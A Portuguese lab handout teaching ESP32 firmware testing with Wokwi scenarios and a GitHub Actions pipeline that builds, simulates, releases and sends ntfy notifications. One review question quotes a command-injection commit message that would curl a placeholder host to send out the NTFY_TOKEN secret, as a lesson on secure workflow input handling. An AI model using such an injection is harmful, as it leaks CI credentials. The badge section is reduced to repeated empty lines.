control: position
value: 0.5
- name: Os dois canais vão a 50 %
wait-serial: '"modo":"pot","estado":"MANUAL","aq":50,"ve":50,"aq_duty":128,"ve_duty":128'
- name: Deixa o PWM rodar (o verificar_pwm.py mede 5 Hz e 25 kHz a 50 % aqui)
delay: 1500ms
- name: Potenciômetro no zero
set-control:
part-id: pot1
control: position
value: 0
- name: Tudo desligado
wait-serial: '"aq":0,"ve":0,"aq_duty":0,"ve_duty":0'
- name: Pino do aquecedor em nível baixo
expect-pin:
part-id: esp
pin: "25"
value: 0
# ---------------------------------------------------------- modo auto (Lab 07, T6)
- name: DHT22 a cada 2 s
write-serial: "intervalo 2\r\n"
- name: Setpoint 37,5 °C pelo potenciômetro
set-control:
part-id: pot1
control: position
value: 0.5
- name: Liga o modo auto (o DHT22 começa em 24,5 °C, atributo do diagram.json)
write-serial: "modo auto\r\n"
- name: Aquece
wait-serial: '"modo":"auto","estado":"AQUECENDO","aq":100,"ve":0'
- name: Passa de SP + 0,5
set-control:
part-id: dht1
control: temperature
value: 38.2
- name: Estável, aquecedor desligado
wait-serial: '"estado":"ESTAVEL","aq":0,"ve":0'
- name: Bem acima do setpoint
set-control:
part-id: dht1
control: temperature
value: 41
- name: Ventilador proporcional (41 - 38,5) x 25 = 63 %
wait-serial: '"estado":"RESFRIANDO","aq":0,"ve":63,"aq_duty":0,"ve_duty":161'
- name: Comando inválido não derruba o firmware
write-serial: "modo turbo\r\n"
- name: Resposta de erro
wait-serial: "modo invalido"
O wait-serial só olha o que chega depois do passo anterior. Por isso o potenciômetro
começa em 0: se começasse no meio, o [PWM] de 50 % sairia no setup(), antes do
[BOOT] pronto, e o passo "Os dois canais vão a 50 %" esperaria para sempre.
Com --vcd-file, o wokwi-cli grava o analisador lógico (D0 = GPIO25, D1 = GPIO26) num
arquivo VCD, o mesmo formato que o PulseView abre. O ci/verificar_pwm.py (pronto, só
biblioteca padrão) procura em cada canal um trecho com a frequência e o duty esperados:
pio run -e ci
wokwi-cli --elf .pio/build/ci/firmware.elf --scenario ci/cenario_integracao.yaml --timeout 90000 --vcd-file pwm.vcd --serial-log-file serial-cenario.txt . > evidencias\t4-cenario.txt 2>&1
py ci\verificar_pwm.py pwm.vcd --listar > evidencias\t4-pwm.txt 2>&1
type evidencias\t4-cenario.txt
type evidencias\t4-pwm.txt
[Camara - modos pot e auto] Executing step: Os dois canais vão a 50 %
[ADC] {"raw":2048,"mv":1550,"sp":37.5}
[PWM] {"modo":"pot","estado":"MANUAL","aq":50,"ve":50,"aq_duty":128,"ve_duty":128,"sp":37.5,"t":null}
[Camara - modos pot e auto] Expected text matched: "..."
...
[PWM] {"modo":"auto","estado":"RESFRIANDO","aq":0,"ve":63,"aq_duty":0,"ve_duty":161,"sp":37.5,"t":41.0}
[Camara - modos pot e auto] Scenario completed successfully
pwm.vcd: sinais D0, D1
D0/D0: 7 períodos 5.00 Hz duty 50.0 %
ok D0 (aquecedor GPIO25): 5.00 Hz, duty 50.0 % em 7 períodos
D1/D1: 37500 períodos 25000.00 Hz duty 50.0 %
ok D1 (ventilador GPIO26): 25000.00 Hz, duty 50.0 % em 37500 períodos
P3: por que o cenário confere o pino 25 com expect-pin só quando o aquecedor está em
0 %, e não em 100 %? (Dica: com 8 bits, qual é o duty máximo, 255/255 ou 255/256? Em quantos
microssegundos por período o pino fica em 0 a 5 Hz?) Um teste que passa 99 vezes e falha 1 é
chamado de instável (flaky). Por que ele é pior do que um teste que sempre falha?
- ├── 📂ci
- └── 🚀cenario_integracao.yaml👈 Verificar
- └── 📂evidencias
- ├── 📄t4-cenario.txt👈 Criar Aqui
- └── 📄t4-pwm.txt👈 Criar Aqui
git conferir ci/cenario_integracao.yaml evidencias/t4-cenario.txt evidencias/t4-pwm.txt
Cenário de integração e analisador lógico
git conferir ci/cenario_integracao.yaml evidencias/t4-cenario.txt evidencias/t4-pwm.txt
git add ci/cenario_integracao.yaml evidencias/t4-cenario.txt evidencias/t4-pwm.txt && git commit -m "T4: Cenário de integração e analisador lógico" && git push
git status -sb && git log -1 --stat --oneline
Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T4.
Parte 5 — Pipeline no GitHub Actions
5.1 Conceitos
- Workflow: um arquivo YAML em
.github/workflows/. Diz quando roda (on:) e o quê (jobs:). - Job: roda numa máquina virtual nova (
runs-on: ubuntu-latest). Jobs rodam em paralelo, a não ser que um dependa do outro (needs:). - Step: um comando (
run:) ou uma ação pronta (uses:). - Artefato: arquivo que um job entrega para outro, ou para você baixar
(
upload-artifact/download-artifact). - Cache: guarda o
~/.platformioentre execuções. Sem ele, todopushbaixa de novo o toolchain do ESP32, uns 300 MB. - Secret: valor sensível (token) que o workflow lê como
${{ secrets.NOME }}. O GitHub esconde o valor nos logs e não o entrega a PRs de forks.
5.2 Secrets e variáveis
Em Settings ▸ Secrets and variables ▸ Actions:
| Tipo | Nome | Valor |
|---|---|---|
| Secret | WOKWI_CLI_TOKEN | o token do Wokwi CI |
| Secret | NTFY_TOPIC | lab11-<letra>-ci (T6) |
| Secret | NTFY_TOKEN | o token ntfy do grupo (tk_..., no ACESSO-LAB11.md) |
| Variable | NTFY_URL | https://iot.adrianoruseler.com/ntfy (T6) |
5.3 O workflow
- └── 📂.github
- └── 📂workflows
- └── 🚀ci.yml👈 Criar Aqui
- └── 📂workflows
git conferir .github/workflows/ci.yml
name: CI
on:
push:
branches: [main]
tags: ["v*"]
pull_request:
workflow_dispatch:
permissions:
contents: read
concurrency: # um push novo cancela a execução anterior do mesmo ramo
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
testes:
name: Testes da lógica (pio test -e native)
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.x"
- name: Cache do PlatformIO
uses: actions/cache@v4
with:
path: |
~/.platformio
~/.cache/pip
key: pio-${{ runner.os }}-${{ hashFiles('platformio.ini') }}
- name: Instala o PlatformIO (a versão mais recente)
run: pip install --upgrade platformio
- name: Atualiza o que veio do cache
run: pio pkg update -e native
- name: Testes (Unity, no PC)
run: pio test -e native --junit-output-path relatorio-native.xml
- name: Resumo dos testes
if: always()
run: |
if [ -f relatorio-native.xml ]; then
python ci/resumo_junit.py relatorio-native.xml >> "$GITHUB_STEP_SUMMARY"
fi
- name: Instala o wokwi-cli
run: |
mkdir -p "$HOME/.local/bin"
curl -sSfL -o "$HOME/.local/bin/wokwi-cli" \
"https://github.com/wokwi/wokwi-cli/releases/latest/download/wokwi-cli-linuxstatic-x64"
chmod +x "$HOME/.local/bin/wokwi-cli"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
- name: Lint do diagram.json (não precisa de token)
run: wokwi-cli lint --warnings-as-errors .
- uses: actions/upload-artifact@v4
if: always()
with:
name: relatorio-testes
path: relatorio-native.xml
if-no-files-found: ignore
firmware:
name: Firmware (esp32dev, ci e testes para o alvo)
needs: testes
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.x"
- name: Cache do PlatformIO
uses: actions/cache@v4
with:
path: |
~/.platformio
~/.cache/pip
key: pio-esp32-${{ runner.os }}-${{ hashFiles('platformio.ini') }}
- name: Instala o PlatformIO (a versão mais recente)
run: pip install --upgrade platformio
- name: Atualiza a plataforma e as bibliotecas que vieram do cache
run: pio pkg update -e esp32dev -e ci
# os testes para o alvo usam a MESMA pasta .pio/build/esp32dev: compila um por vez e
# copia o .elf antes de compilar o próximo (e o firmware normal por último)
- name: Testes compilados para o ESP32
run: |
mkdir -p saida
for t in test_logica test_alvo; do
pio test -e esp32dev -f "$t" --without-uploading --without-testing
cp .pio/build/esp32dev/firmware.elf "saida/teste_${t}.elf"
done
- name: Firmware do CI (sem rede)
run: |
pio run -e ci
cp .pio/build/ci/firmware.elf saida/firmware_ci.elf
- name: Firmware normal
run: |
pio run -e esp32dev
cp .pio/build/esp32dev/firmware.bin .pio/build/esp32dev/firmware.elf saida/
cp .pio/build/esp32dev/bootloader.bin .pio/build/esp32dev/partitions.bin saida/
pio run -e esp32dev -t size | tail -n 3 >> "$GITHUB_STEP_SUMMARY"
- uses: actions/upload-artifact@v4
with:
name: firmware
path: saida/
retention-days: 14
simulacao:
name: Simulação no Wokwi (wokwi-cli)
needs: firmware
runs-on: ubuntu-latest
outputs:
simulou: ${{ steps.token.outputs.ok }}
env:
WOKWI_CLI_TOKEN: ${{ secrets.WOKWI_CLI_TOKEN }}
steps:
- name: Tem token do Wokwi?
id: token
run: |
if [ -n "$WOKWI_CLI_TOKEN" ]; then
echo "ok=true" >> "$GITHUB_OUTPUT"
else
echo "ok=false" >> "$GITHUB_OUTPUT"
echo "::warning::WOKWI_CLI_TOKEN não configurado (ou PR de fork): simulação pulada"
fi
- uses: actions/checkout@v4
if: steps.token.outputs.ok == 'true'
- uses: actions/download-artifact@v4
if: steps.token.outputs.ok == 'true'
with:
name: firmware
path: saida
- name: Instala o wokwi-cli
if: steps.token.outputs.ok == 'true'
run: |
mkdir -p "$HOME/.local/bin"
curl -sSfL -o "$HOME/.local/bin/wokwi-cli" \
"https://github.com/wokwi/wokwi-cli/releases/latest/download/wokwi-cli-linuxstatic-x64"
chmod +x "$HOME/.local/bin/wokwi-cli"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
- name: Testes Unity no ESP32 simulado
if: steps.token.outputs.ok == 'true'
run: |
for t in test_logica test_alvo; do
echo "::group::$t"
wokwi-cli --elf "saida/teste_${t}.elf" --timeout 30000 \
--expect-text "Tests 0 Failures" --fail-text ":FAIL" \
--serial-log-file "serial-${t}.txt" .
echo "::endgroup::"
done
- name: Cenário de integração + analisador lógico
if: steps.token.outputs.ok == 'true'
run: |
wokwi-cli --elf saida/firmware_ci.elf --scenario ci/cenario_integracao.yaml \
--timeout 90000 --vcd-file pwm.vcd --serial-log-file serial-cenario.txt .
- name: Frequência e duty do PWM (VCD)
if: steps.token.outputs.ok == 'true'
run: python3 ci/verificar_pwm.py pwm.vcd --listar
- uses: actions/upload-artifact@v4
if: always() && steps.token.outputs.ok == 'true'
with:
name: simulacao
path: |
serial-*.txt
pwm.vcd
if-no-files-found: ignore
# publicar e notificar: T6
- Por que não a
wokwi/wokwi-ci-action? Ela roda o simulador, mas não tem uma entrada para o--vcd-file. Chamando owokwi-clidireto, os três usos (testes, cenário, VCD) ficam iguais aos do seu terminal. - O job
simulacaonão falha sem token: ele avisa (::warning::) e segue. Assim o CI de um PR de fork, que não recebe secrets, continua útil.
Faça o push, abra a aba Actions e acompanhe. Clique na execução para ver o resumo dos
testes, os artefatos (firmware, VCD) e o tamanho do firmware. Ponha o badge no topo
do README.md:
- A
- B
- C
- D
- E
- F
- G
- H
- I
- J
- K
- L
- M
- X
- P
- N
1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

1. README.md (topo):

Evidências: evidencias/t5-actions.png (a execução com os jobs verdes, o resumo dos
testes e os artefatos) e o link da execução no README.md.
- ├── 📂.github
- └── 📂workflows
- └── 🚀ci.yml👈 Criar Aqui
- └── 📂workflows
- ├── 📝README.md👈 Edite Aqui
- └── 📂evidencias
- └── 📄t5-actions.png👈 Criar Aqui
git conferir .github/workflows/ci.yml README.md evidencias/t5-actions.png
Pipeline no GitHub Actions
git conferir .github/workflows/ci.yml README.md evidencias/t5-actions.png
git add .github/workflows/ci.yml README.md evidencias/t5-actions.png && git commit -m "T5: Pipeline no GitHub Actions" && git push
git status -sb && git log -1 --stat --oneline
Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T5.
Projeto integrador — ntfy e release (CD)
CI responde "o código está bom?". CD (continuous delivery) responde "então, entregue":
numa tag v1.0.0, o pipeline cria uma release no GitHub com o firmware.bin pronto para
gravar. E alguém precisa saber do resultado sem ficar olhando a aba Actions: o ntfy
manda uma notificação para o celular.
O ntfy do LAB IoT
O laboratório tem um ntfy próprio, o mesmo do portal, com uma conta por grupo. Cada grupo só lê
e publica nos tópicos lab11-<letra> e lab11-<letra>-*; os outros grupos não veem as suas
notificações, e quem não tem login não vê nada.
| Para | Valor |
|---|---|
Servidor (app, NTFY_URL) | https://iot.adrianoruseler.com/ntfy |
| Login no app | usuário lab11-<letra> e a senha do grupo |
Tópico do CI (NTFY_TOPIC) | lab11-<letra>-ci (ex.: lab11-x-ci) |
Token (NTFY_TOKEN) | o token ntfy do grupo (tk_...) |
| Ler e publicar no navegador | iot.adrianoruseler.com/avisos/ |
A senha e o token estão no ACESSO-LAB11.md do repositório do grupo. Copie-os para os
Secrets (5.2), e nunca para o ci.yml, o README.md ou uma evidência: o token publica
em nome do grupo. Se um vazar, avise o professor, que gera outro.
No app (Android/iOS): ⚙ → Usuários → adicionar o servidor acima com o login do grupo;
depois + → assinar o tópico lab11-<letra>-ci nesse servidor (não no ntfy.sh).
O GitHub Actions chega ao ntfy pelo endereço público, que passa pelo servidor do laboratório.
Com o laboratório desligado, a notificação se perde (o passo tem continue-on-error: o CI não
fica vermelho por isso). Faça o experimento abaixo durante a aula.
Requisitos
-
Job
publicar: roda só em tagsv*, depois defirmwareesimulacao, e cria a release com o firmware. É o único job com permissão de escrita:.github/workflows/ci.yml (job publicar)publicar:name: Release com o firmwareneeds: [firmware, simulacao]if: startsWith(github.ref, 'refs/tags/v')runs-on: ubuntu-latestpermissions:contents: write # criar a release precisa de escritasteps:- uses: actions/download-artifact@v4with:name: firmwarepath: saida- uses: softprops/action-gh-release@v2with:files: |saida/firmware.binsaida/bootloader.binsaida/partitions.binsaida/firmware.elfgenerate_release_notes: true -
Job
notificar: roda sempre (if: always()), depois de todos, monta o resumo e chama oci/notificar.sh(pronto no repositório: título, prioridade e etiquetas conforme o resultado, toque abre a execução no GitHub, botão "Abrir no GitHub")..github/workflows/ci.yml (job notificar)notificar:name: Notificação (ntfy)needs: [testes, firmware, simulacao, publicar]if: always()runs-on: ubuntu-lateststeps:- uses: actions/checkout@v4with:sparse-checkout: ci- name: Publica no ntfycontinue-on-error: true # o ntfy fora do ar não deve pintar o CI de vermelhoenv:NTFY_URL: ${{ vars.NTFY_URL }}NTFY_TOPIC: ${{ secrets.NTFY_TOPIC }}NTFY_TOKEN: ${{ secrets.NTFY_TOKEN }}RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}# tudo o que vem do usuário (mensagem do commit, nome do ramo) entra por variável de# ambiente, NUNCA direto dentro do "run:" (evita injeção de comandos)COMMIT_MSG: ${{ github.event.head_commit.message || github.event.pull_request.title }}REF_NAME: ${{ github.ref_name }}REPO: ${{ github.repository }}SHA: ${{ github.sha }}ATOR: ${{ github.actor }}R_TESTES: ${{ needs.testes.result }}R_FIRMWARE: ${{ needs.firmware.result }}R_SIM: ${{ needs.simulacao.result }}SIMULOU: ${{ needs.simulacao.outputs.simulou }}R_PUBLICAR: ${{ needs.publicar.result }}run: |resultado=successfor r in "$R_TESTES" "$R_FIRMWARE" "$R_SIM" "$R_PUBLICAR"; do[ "$r" = cancelled ] && resultado=cancelleddonefor r in "$R_TESTES" "$R_FIRMWARE" "$R_SIM" "$R_PUBLICAR"; do[ "$r" = failure ] && resultado=failuredonesim="$R_SIM"[ "$R_SIM" = success ] && [ "$SIMULOU" != true ] && sim="pulada (sem token)"case "$resultado" insuccess)if [ "$R_PUBLICAR" = success ]; thenresultado=releasetitulo="🚀 ${REPO##*/} ${REF_NAME} publicado"elsetitulo="✅ ${REPO##*/}: CI ok em ${REF_NAME}"fi ;;failure) titulo="❌ ${REPO##*/}: CI falhou em ${REF_NAME}" ;;*) titulo="⚠️ ${REPO##*/}: CI ${resultado} em ${REF_NAME}" ;;esac# shellcheck disable=SC2016 # as crases são Markdown, não substituição de comandomensagem="$(printf '**testes:** %s · **firmware:** %s · **simulação:** %s · **release:** %s\r\n`%s` por %s: %s' \"$R_TESTES" "$R_FIRMWARE" "$sim" "$R_PUBLICAR" "${SHA:0:7}" "$ATOR" "${COMMIT_MSG%%$'\r\n'*}")"bash ci/notificar.sh "$resultado" "$titulo" "$mensagem"Antes do CI, teste o script no seu terminal (Git Bash, ou WSL, no Windows), com o app já assinando o tópico. O token fica só no terminal, não em arquivo:
Git Bashread -rsp "Token ntfy do grupo: " NTFY_TOKEN; echo; export NTFY_TOKENNTFY_URL=https://iot.adrianoruseler.com/ntfy NTFY_TOPIC=lab11-x-ci \bash ci/notificar.sh success "teste do grupo X" "olá do terminal"Saída esperadantfy: 'teste do grupo X' publicado em https://iot.adrianoruseler.com/ntfy/lab11-x-ci (success)Troque
xpela letra do grupo. Um403quer dizer tópico de outro grupo (ou token errado); um502, o servidor do laboratório desligado. -
Experimento (cada passo gera uma notificação)
-
Vermelho de propósito: num ramo
quebra, mude oHISTERESEpara0.0fe abra um pull request. Otest_auto_sequencia_do_lab07falha no passo de 37,2 °C (sem histerese, a câmara religa abaixo do SP), a execução fica vermelha e chega "❌ ... CI falhou" com prioridade alta. Se a sua sequência não tiver um passo entre SP − 0,5 e SP com o aquecedor desligado, nenhum teste falha: acrescente um. -
Verde: feche o PR sem juntar (ou desfaça a mudança). No
main, chega "✅ ... CI ok". -
Release: crie e envie a tag:
Terminal (cmd)git tag -a v1.0.0 -m "Lab 11: firmware testado"git push origin v1.0.0Chega "🚀 ... v1.0.0 publicado", e a página Releases do repositório mostra o
firmware.binpara baixar.
-
-
Evidências
evidencias/t6-ntfy.png: as três notificações (falha, sucesso e release) no app ou no navegador;evidencias/t6-release.png: a página da release com os arquivos;- no
README.md, os links da execução vermelha, da verde e da release; - o
ci.ymlcompleto.
🚀 lab11-grupo-x v1.0.0 publicado prioridade alta
testes: success · firmware: success · simulação: success · release: success
0123456 por aluno-a: Lab 11: firmware testado
✅ lab11-grupo-x: CI ok em main
testes: success · firmware: success · simulação: success · release: skipped
❌ lab11-grupo-x: CI falhou em quebra prioridade alta
testes: failure · firmware: skipped · simulação: skipped · release: skipped
P4: (a) um colega faz um fork do repositório do grupo e abre um PR. Quais jobs rodam?
Chega notificação? Por quê? (b) Por que a mensagem do commit entra no run: pela variável
COMMIT_MSG, e não escrita como ${{ github.event.head_commit.message }} dentro do script?
Imagine um commit com a mensagem x"; curl https://exemplo.invalid/?t=$NTFY_TOKEN; echo ".
(c) No ntfy do LAB IoT, quem pode ler e quem pode publicar em lab11-x-ci? E se o
grupo usasse o ntfy.sh público, sem login, com o mesmo nome de tópico?
- ├── 📂.github
- └── 📂workflows
- └── 🚀ci.yml👈 Edite Aqui
- └── 📂workflows
- ├── 📝README.md👈 Edite Aqui
- └── 📂evidencias
- ├── 📄t6-ntfy.png👈 Criar Aqui
- └── 📄t6-release.png👈 Criar Aqui
git conferir .github/workflows/ci.yml README.md evidencias/t6-ntfy.png evidencias/t6-release.png
ntfy e release (CD)
git conferir .github/workflows/ci.yml README.md evidencias/t6-ntfy.png evidencias/t6-release.png
git add .github/workflows/ci.yml README.md evidencias/t6-ntfy.png evidencias/t6-release.png && git commit -m "T6: ntfy e release (CD)" && git push
git status -sb && git log -1 --stat --oneline
Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T6.
Logout do seu ambiente dev, git e gh
Antes de sair, faça logout para não deixar sua conta do GitHub ativa nesta máquina. Rode os comandos abaixo no Prompt de Comando (cmd), não no PowerShell.
1. Apague a credencial do GitHub salva pelo git, encerre a sessão do gh e remova seu nome e e-mail da configuração global:
(echo protocol=https&echo host=github.com) | git credential reject
gh auth logout --hostname github.com
git config --global --unset user.name
git config --global --unset user.email
Para conferir, este comando não deve mostrar nada:
cmdkey /list | findstr /i github
2. Pare os containers do lab:
for /f "delims=" %i in ('docker compose ls -q') do docker compose -p %i down
3. No navegador, saia da sua conta em github.com e feche todas as janelas.